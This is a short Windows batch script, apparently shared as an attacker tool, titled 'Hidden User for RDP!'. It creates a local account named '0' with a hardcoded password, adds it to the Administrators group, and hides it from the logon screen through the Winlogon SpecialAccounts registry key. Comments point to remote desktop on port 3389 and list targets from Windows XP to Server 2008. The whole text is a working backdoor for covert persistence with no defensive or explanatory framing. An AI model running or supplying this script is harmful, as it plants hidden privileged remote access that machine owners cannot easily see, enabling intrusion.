Hidden User for RDP!

ECHO off
REM ---- Batch Script to Add Hidden User[Administrators Group] in Windows XP,03,Vista,7,08
REM ---------- 3389
REM Username is 0
REM Password is zxc123zxc123!?
REM ----------
net user 0 zxc123zxc123!? /add
net localgroup Administrators 0 /add
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v 0 /t REG_DWORD /d 0x00
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList"
EXIT
REM ----------